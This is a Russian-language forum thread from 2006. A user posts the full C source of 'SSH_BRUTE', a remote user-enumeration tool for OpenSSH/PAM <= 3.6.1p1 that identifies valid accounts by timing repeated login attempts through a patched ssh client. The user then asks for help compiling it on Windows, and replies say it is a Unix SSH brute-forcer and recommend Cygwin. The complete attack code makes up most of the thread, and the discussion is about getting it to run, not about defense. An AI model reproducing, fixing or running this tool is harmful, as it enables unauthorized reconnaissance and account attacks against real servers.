Помогите скомпилировать эксплоит

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Prince_Dark, 24 Jan 2006.

  1. Prince_Dark

    Prince_Dark New Member

    Joined:
    5 Nov 2005
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/wait.h>

    /* an illegal user */
    #define NO_USER "not_val_user"

    /* path of the patched ssh */
    #define PATH_SSH "./ssh"

    /* max time range for invalid user */
    #define TIME_RANGE 3

    int main(int argc, char *argv[])
    {
    FILE * in;
    char buffer[2000], username[100], *host;
    int time_non_valid = 0, time_user = 0;
    int version = 1, i = 0, ret;

    fprintf(stderr, "\n SSH_BRUTE - OpenSSH/PAM <= 3.6.1p1 remote users discovery tool\n");
    fprintf(stderr, " Copyright (c) 2003 @ Mediaservice.net Srl. All rights reserved\n");

    if (argc < 3) {
    fprintf(stderr, "\n Usage: %s <protocol version> <user file> <host>\n\n", argv[0]);
    exit(-1);
    }

    version = atoi(argv[1]);
    host = argv[3];

    if ( ( in = fopen(argv[2], "r") ) == NULL ) {
    fprintf(stderr, "\n Can't open %s\n", argv[2]);
    exit(-1);
    }

    /* test an illegal user */
    printf("\n Testing an illegal user\t: ");
    fflush(stdout);

    sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, NO_USER, host);

    for (i = 0; i < 3; i++) {
    ret = system(buffer);
    time_non_valid += WEXITSTATUS(ret);
    }

    time_non_valid /= 3;

    printf("%d second(s)\n\n", time_non_valid);

    time_non_valid += TIME_RANGE;

    /* test supplied users */
    fscanf(in, "%s", username);

    while ( !feof(in) ) {

    printf(" Testing login %s\t", username);

    if (strlen(username) <= 8)
    printf("\t");
    printf(": ");

    fflush( stdout );

    sprintf(buffer, "%s -%d %s@%s", PATH_SSH, version, username, host);
    ret = system(buffer);
    time_user = WEXITSTATUS(ret);

    if (time_user <= time_non_valid)
    printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)]\n", time_user);
    else {
    /* valid user? test it again to be sure */

    ret = system(buffer);
    time_user = WEXITSTATUS(ret);

    if (time_user <= time_non_valid)
    printf("\E[31m\E[1mILLEGAL\E[m\t[%d second(s)] [2 test]\n", time_user);
    else
    printf("\E[32m\E[1mUSER OK\E[m\t[%d second(s)]\n", time_user);
    }

    fscanf(in, "%s", username);
    }

    fclose(in);

    printf("\n");

    exit(0);
    }


    При компиляции эксплоита возникают ошибки

    Unable to open include file 'sys/wait.h'
    Function 'WEXITSTATUS' should have a prototype
    Function 'strlen' should have a prototype
    Function should return a value

    Плиз помогите разобраться.. Сильно просьба не ругаться, что типа ой уж эти новички,... всё за них сделай... я просто хочу понять что к чему и разобраться одному не получается и прошу помощи... вот и всё!
     
  2. Prince_Dark

    Prince_Dark New Member

    Joined:
    5 Nov 2005
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Такс............ дело в том что у меня нет файла sys/wait.h
    Этого файла ни в VC ни в C++ Builder нет..... вопрос где его взять?? Нет оьлазил... не нашёл.
    Посмотрите... если есть у кого дайте ссылочку....или стучите в асю 4966759
     
  3. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    sys/ - в unix
    это брутфорс ssh для unix
     
  4. w4rd3n

    w4rd3n Banned

    Joined:
    6 Oct 2005
    Messages:
    143
    Likes Received:
    3
    Reputations:
    -4
    cygwin те в помощь